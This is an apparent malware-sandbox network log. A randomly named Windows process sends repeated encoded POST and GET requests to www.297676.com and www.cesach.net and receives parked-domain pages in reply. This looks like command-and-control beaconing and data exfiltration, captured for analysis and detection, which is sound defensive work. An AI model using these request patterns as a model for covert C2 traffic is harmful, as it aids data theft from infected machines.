Oct 30, 2024 08:12:43.809561968 CET	563	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNDViOTNlZGItNDYyMS00ZWI0LTg1MTctNDU0MjQ0ODJjYmUxIiwicGFnZV90aW1lIjoxNzMwMjcyMz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50041	199.59.243.227	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:12:45.732055902 CET	724	OUT	POST /xyex/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.297676.com Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 219 Connection: close Origin: http://www.297676.com Referer: http://www.297676.com/xyex/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 4c 54 48 63 6a 68 77 74 53 61 48 65 38 4c 39 4e 31 76 42 35 36 62 68 71 4b 68 2f 31 52 4d 78 66 46 7a 67 2b 57 64 49 36 72 70 54 75 36 70 6a 4e 61 74 4d 73 45 75 34 7a 67 52 75 75 67 6f 33 46 43 44 4e 7a 61 6f 69 6d 79 42 6d 52 49 30 66 69 70 79 2b 67 39 56 77 35 74 33 67 43 54 48 31 50 52 32 55 78 32 33 54 52 7a 2f 64 49 2f 35 6b 31 47 39 63 32 31 78 47 63 5a 35 78 2b 6d 77 45 6f 50 2b 66 78 4f 68 38 39 73 68 61 6a 4d 4a 6c 63 4f 41 73 50 4a 61 4d 31 4f 6f 45 39 54 74 41 4e 74 74 46 61 6e 7a 59 32 30 2b 49 65 44 39 44 2f 77 31 64 34 32 31 76 70 62 55 55 58 72 5a 72 56 31 38 7a 51 56 46 35 78 6b 69 51 54 78 42 4e 52 2b 66 32 35 36 64 38 3d Data Ascii: ZT=LTHcjhwtSaHe8L9N1vB56bhqKh/1RMxfFzg+WdI6rpTu6pjNatMsEu4zgRuugo3FCDNzaoimyBmRI0fipy+g9Vw5t3gCTH1PR2Ux23TRz/dI/5k1G9c21xGcZ5x+mwEoP+fxOh89shajMJlcOAsPJaM1OoE9TtANttFanzY20+IeD9D/w1d421vpbUUXrZrV18zQVF5xkiQTxBNR+f256d8=
Oct 30, 2024 08:12:46.357311010 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 30 Oct 2024 07:12:46 GMT content-type: text/html; charset=utf-8 content-length: 1110 x-request-id: f26329f9-1af9-4058-b154-17022d833e72 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VvMkd70pcaa++xPHPET7k8HS9oPvuvUA+ckFU+grDEVs81sT6IXsqQaYMUjfPOmNLH9DqeVG1jduG9TKC3NhDw== set-cookie: parking_session=f26329f9-1af9-4058-b154-17022d833e72; expires=Wed, 30 Oct 2024 07:27:46 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 76 4d 6b 64 37 30 70 63 61 61 2b 2b 78 50 48 50 45 54 37 6b 38 48 53 39 6f 50 76 75 76 55 41 2b 63 6b 46 55 2b 67 72 44 45 56 73 38 31 73 54 36 49 58 73 71 51 61 59 4d 55 6a 66 50 4f 6d 4e 4c 48 39 44 71 65 56 47 31 6a 64 75 47 39 54 4b 43 33 4e 68 44 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VvMkd70pcaa++xPHPET7k8HS9oPvuvUA+ckFU+grDEVs81sT6IXsqQaYMUjfPOmNLH9DqeVG1jduG9TKC3NhDw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 30, 2024 08:12:46.357333899 CET	563	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZjI2MzI5ZjktMWFmOS00MDU4LWIxNTQtMTcwMjJkODMzZTcyIiwicGFnZV90aW1lIjoxNzMwMjcyMz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50042	199.59.243.227	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:12:48.280092001 CET	10806	OUT	POST /xyex/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.297676.com Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10299 Connection: close Origin: http://www.297676.com Referer: http://www.297676.com/xyex/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 4c 54 48 63 6a 68 77 74 53 61 48 65 38 4c 39 4e 31 76 42 35 36 62 68 71 4b 68 2f 31 52 4d 78 66 46 7a 67 2b 57 64 49 36 72 70 62 75 39 63 33 4e 62 4f 55 73 43 65 34 7a 74 78 75 76 67 6f 33 63 43 44 56 33 61 6f 75 51 79 48 69 52 4c 57 58 69 34 7a 2b 67 79 56 77 35 68 58 67 50 63 6e 31 61 52 32 46 5a 32 33 6a 52 7a 2f 64 49 2f 37 38 31 51 59 6f 32 33 78 47 54 65 35 78 69 69 77 45 4d 50 36 7a 48 4f 67 49 48 73 51 36 6a 4e 70 31 63 64 69 30 50 4c 36 4d 4e 4e 6f 45 6c 54 74 4d 4f 74 74 5a 57 6e 7a 73 4d 30 39 55 65 53 37 53 79 74 42 74 33 76 47 79 77 4a 46 56 30 6c 2b 43 56 32 4d 54 35 55 56 73 75 2b 57 67 64 2b 51 77 61 6a 76 79 5a 67 36 6c 66 77 68 47 48 49 56 6e 30 65 66 6a 67 74 68 52 37 56 64 78 67 45 4c 6c 41 32 68 54 76 47 74 37 39 76 42 51 59 47 6d 38 69 4c 6d 33 41 66 44 6c 35 73 64 72 43 6b 36 78 4b 30 74 59 6f 32 39 35 72 54 32 78 2f 2f 53 4d 51 48 78 62 62 70 4f 39 69 43 39 79 45 4e 6e 75 70 49 63 34 49 71 30 46 41 46 31 78 65 63 55 44 55 34 34 67 4d 51 70 6d 37 48 4e 62 48 2f 42 6c [TRUNCATED] Data Ascii: ZT=LTHcjhwtSaHe8L9N1vB56bhqKh/1RMxfFzg+WdI6rpbu9c3NbOUsCe4ztxuvgo3cCDV3aouQyHiRLWXi4z+gyVw5hXgPcn1aR2FZ23jRz/dI/781QYo23xGTe5xiiwEMP6zHOgIHsQ6jNp1cdi0PL6MNNoElTtMOttZWnzsM09UeS7SytBt3vGywJFV0l+CV2MT5UVsu+Wgd+QwajvyZg6lfwhGHIVn0efjgthR7VdxgELlA2hTvGt79vBQYGm8iLm3AfDl5sdrCk6xK0tYo295rT2x//SMQHxbbpO9iC9yENnupIc4Iq0FAF1xecUDU44gMQpm7HNbH/Bl34aVATbqxczvqg8bzQalqOA97HT/CKndIFh+d6f0hr0LCxVYUmH9aV+ML0VIfiSKCDzw5rv03zguH/y97K87X4eRMdFRu0Yz2xLNb0CEN19A3RkpkQVzPYI0EMjLg266/fmB2TuT928+uuZu6MHgwGZ3PWEjentfOhbUMvUZ80pfKu4BmT51iIbplj3KzDgwmNL03Ahh5/YAafyGzbZm1/0YXX+8mxiDTYakcp7lSE5DcHnKzuXRmSLCPHSpD7W3CfbYhsgqMbLXJ/MbokjKQxlO6FOV5eCPD30CeuPaNbGxsi6CXaxZnVTzn3NMnPvHBc9OjqUqEBaPZMTYYsfapy4phoHKfRDakRBB9ABZ7stWjdZocwIh1WKTz8bUh7+Pq8PRzVGx0ZOan/qCsiWCXn7nbCSeDc2CgKjC/bB6cORdzArAYEoq6aBXpwhCEyYUqbR9VKrXWHpb3tz/Mx2/zd9ZzViSgzQDdnj6QCzmpzawrW4hP5oXa8ykVwrgSX2bJtC7630fqEcienkxGctzH/oz1c/iFAw032zkrKPu9CM3jqXU1njxZMWWNO0nk5EK6pPI8XGtiBUoYdgW0FFu6ZCKpUoaXnQbf2fEdP7G5DFa0Ig1Gd69bq8krJh0uejEuwXG9Bd4N23AqjpKckJaHvsyDEDA4i5h/u [TRUNCATED]
Oct 30, 2024 08:12:48.894921064 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 30 Oct 2024 07:12:47 GMT content-type: text/html; charset=utf-8 content-length: 1110 x-request-id: 22a49152-19cd-400e-b842-6d5c2b1920a9 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VvMkd70pcaa++xPHPET7k8HS9oPvuvUA+ckFU+grDEVs81sT6IXsqQaYMUjfPOmNLH9DqeVG1jduG9TKC3NhDw== set-cookie: parking_session=22a49152-19cd-400e-b842-6d5c2b1920a9; expires=Wed, 30 Oct 2024 07:27:48 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 76 4d 6b 64 37 30 70 63 61 61 2b 2b 78 50 48 50 45 54 37 6b 38 48 53 39 6f 50 76 75 76 55 41 2b 63 6b 46 55 2b 67 72 44 45 56 73 38 31 73 54 36 49 58 73 71 51 61 59 4d 55 6a 66 50 4f 6d 4e 4c 48 39 44 71 65 56 47 31 6a 64 75 47 39 54 4b 43 33 4e 68 44 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VvMkd70pcaa++xPHPET7k8HS9oPvuvUA+ckFU+grDEVs81sT6IXsqQaYMUjfPOmNLH9DqeVG1jduG9TKC3NhDw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 30, 2024 08:12:48.894942045 CET	563	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMjJhNDkxNTItMTljZC00MDBlLWI4NDItNmQ1YzJiMTkyMGE5IiwicGFnZV90aW1lIjoxNzMwMjcyMz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50043	199.59.243.227	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:12:50.816328049 CET	443	OUT	GET /xyex/?ZT=GRv8gXQeeb2Gl8ts68dy26JEIDOFTPQDU1Y3CPEivIL54q3aRuVfXNser16Tn8T/OBl4IICKxXKXWQiZ2Uzn7HwRtVNzQ2FbKXtno3vR39Y/zqEhWKkV0ww=&mTkD=Gj2Ti2T0g4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.297676.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Oct 30, 2024 08:12:51.442913055 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 30 Oct 2024 07:12:51 GMT content-type: text/html; charset=utf-8 content-length: 1450 x-request-id: d9d4d9e9-8ec2-4b87-8190-2d8eda05b12e cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Bo3DenWrsvk5YA50spX/uELGa989cHoAuxnbur2u8jF1vWV08WsOG1s7ntsGbcSF1M86+E57Ct8bX6DR1mxm8w== set-cookie: parking_session=d9d4d9e9-8ec2-4b87-8190-2d8eda05b12e; expires=Wed, 30 Oct 2024 07:27:51 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 42 6f 33 44 65 6e 57 72 73 76 6b 35 59 41 35 30 73 70 58 2f 75 45 4c 47 61 39 38 39 63 48 6f 41 75 78 6e 62 75 72 32 75 38 6a 46 31 76 57 56 30 38 57 73 4f 47 31 73 37 6e 74 73 47 62 63 53 46 31 4d 38 36 2b 45 35 37 43 74 38 62 58 36 44 52 31 6d 78 6d 38 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Bo3DenWrsvk5YA50spX/uELGa989cHoAuxnbur2u8jF1vWV08WsOG1s7ntsGbcSF1M86+E57Ct8bX6DR1mxm8w==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 30, 2024 08:12:51.442933083 CET	903	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZDlkNGQ5ZTktOGVjMi00Yjg3LTgxOTAtMmQ4ZWRhMDViMTJlIiwicGFnZV90aW1lIjoxNzMwMjcyMz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50044	217.76.156.252	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:12:56.739907026 CET	704	OUT	POST /dma3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.cesach.net Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 199 Connection: close Origin: http://www.cesach.net Referer: http://www.cesach.net/dma3/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 46 6a 6e 76 53 31 58 48 45 44 5a 6f 2f 4d 54 59 47 55 37 44 4f 61 52 34 6a 46 71 68 49 45 7a 33 6e 6b 44 2b 67 68 68 46 75 54 71 4b 41 58 43 6c 77 55 2b 51 31 6f 41 71 57 4d 58 57 4f 63 35 4e 71 6d 35 2b 37 75 32 34 6e 58 4c 6d 72 71 69 50 39 6f 76 47 6e 55 4a 49 65 46 64 41 46 67 63 73 55 45 56 6f 34 64 31 4a 41 47 43 4a 62 78 58 54 6b 33 36 66 6f 72 50 5a 73 55 53 33 5a 37 65 4b 4a 48 74 50 31 74 6c 6f 31 4a 39 4f 54 42 4c 4f 45 69 70 4f 61 68 35 75 33 57 41 39 6c 2b 35 6b 55 54 76 6a 6e 62 58 31 79 32 38 42 78 33 31 64 6b 6b 51 6b 35 75 2f 2b 63 77 78 50 57 35 67 44 6a 51 3d 3d Data Ascii: ZT=FjnvS1XHEDZo/MTYGU7DOaR4jFqhIEz3nkD+ghhFuTqKAXClwU+Q1oAqWMXWOc5Nqm5+7u24nXLmrqiP9ovGnUJIeFdAFgcsUEVo4d1JAGCJbxXTk36forPZsUS3Z7eKJHtP1tlo1J9OTBLOEipOah5u3WA9l+5kUTvjnbX1y28Bx31dkkQk5u/+cwxPW5gDjQ==
Oct 30, 2024 08:12:57.609009027 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 07:12:57 GMT Server: Apache X-ServerIndex: llim604 Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 61 39 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 73 73 2f 70 61 72 6b 69 6e 67 32 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f [TRUNCATED] Data Ascii: 1a9b<!DOCTYPE HTML><html lang="es"><head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" /> <title>www.cesach.net</title> <meta name="description" content="" /> <link rel="stylesheet" href="https://piensasolutions.com/css/parking2.css"> <link href='https://fonts.googleapis.com/css?family=Exo' rel='stylesheet' type='text/css'> <meta id="theWidth" name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <script> window.onload = function () { if(screen.width <= 420) { var mvp = document.getElementById('theWidth'); mvp.setAttribute('content','width=400'); } } </script></head><body>... client --><header> <div class="center" style="color:#;border-color:#;"> <div class="title"> <img src="https://piensasolutions.com/imgs/parking/icon-parking.png"> <p>Esta es la página de:</p> [TRUNCATED]
Oct 30, 2024 08:12:57.609025955 CET	212	IN	Data Raw: 3c 68 31 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 43 4f 4d 49 45 4e 5a 41 5f 54 45 58 54 4f 5f 52 45 47 49 53 54 52 41 4e 54 45 2d 2d 3e Data Ascii: <h1>www.cesach.net</h1> </div> ...COMIENZA_TEXTO_REGISTRANTE-->...TERMINA_TEXTO_REGISTRANTE--> ...COMIENZA_COMENTARIO-->...TERMINA_COMENTARIO--> ...COMIENZA_PIE_PERSONAL--
Oct 30, 2024 08:12:57.609038115 CET	1236	IN	Data Raw: 3e 3c 21 2d 2d 54 45 52 4d 49 4e 41 5f 50 49 45 5f 50 45 52 53 4f 4e 41 4c 2d 2d 3e 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 63 6b 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d Data Ascii: >...TERMINA_PIE_PERSONAL--> </div> <div class="back" style="background-color:#;"></div></header>... end client -->... foot -->...COMIENZA_PIE_POR_DEFECTO--><section class="search"> <div class="center"> <di
Oct 30, 2024 08:12:57.609051943 CET	1236	IN	Data Raw: 63 74 6f 73 20 65 6e 20 6c 61 20 70 61 72 74 65 20 69 6e 66 65 72 69 6f 72 2e 3c 2f 70 3e 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 3c 2f 61 73 69 64 65 3e 0d 0a 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 73 69 6d 70 6c 65 22 3e 0d 0a 20 20 Data Ascii: ctos en la parte inferior.</p> </div></aside><section class="simple"> <span>Nuestros Productos</span> <div class="line"> <div class="center"> <a href="https://www.piensasolutions.com/web-sencilla?utm_so
Oct 30, 2024 08:12:57.609108925 CET	424	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 69 6d 67 73 2f 70 61 72 6b 69 6e 67 2f 69 63 6f 6e 2d 77 65 62 2e 70 6e 67 22 3e 0d 0a 20 Data Ascii: <img src="https://piensasolutions.com/imgs/parking/icon-web.png"> <h2>MI PÁGINA WEB</h2> <p>Diseña tu propia página web de forma profesional y de una manera rápida y s
Oct 30, 2024 08:12:57.609122992 CET	1236	IN	Data Raw: 70 3b 75 74 6d 5f 6d 65 64 69 75 6d 3d 6c 69 6e 6b 26 61 6d 70 3b 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 73 73 6c 22 3e 3c 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 Data Ascii: p;utm_medium=link&utm_campaign=ssl"><article> <img src="https://piensasolutions.com/imgs/parking/icon-ssl-parking.png"> <h2>CERTIFICADO SSL</h2> <p>Confianza y seguridad para tu web. Con u
Oct 30, 2024 08:12:57.609217882 CET	1236	IN	Data Raw: 61 20 64 65 20 70 72 65 73 65 6e 74 61 63 69 26 6f 61 63 75 74 65 3b 6e 20 63 6f 6e 66 69 67 75 72 61 62 6c 65 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 69 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 6f 6b 22 3e 3c 2f 69 Data Ascii: a de presentación configurable</li> <li><i class="icon-ok"></i> Directivas "Meta" para mejorar tu posicionamiento SEO</li> <li><i class="icon-ok"></i> Redirección Web con URL fija</li> <li><
Oct 30, 2024 08:12:57.609230042 CET	224	IN	Data Raw: 22 20 74 69 74 6c 65 3d 22 53 c3 ad 67 75 65 6e 6f 73 20 65 6e 20 47 6f 6f 67 6c 65 2b 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2e 2f 69 6d 67 2f 69 63 6f 6e 2d 67 70 6c 75 73 2d 73 6d 61 6c 6c 2e Data Ascii: " title="Sguenos en Google+"> <img src="./img/icon-gplus-small.png"></div>Google+</a> </li>--> </ul></footer>...TERMINA_PIE_POR_DEFECTO-->... end foot --></body></html>0
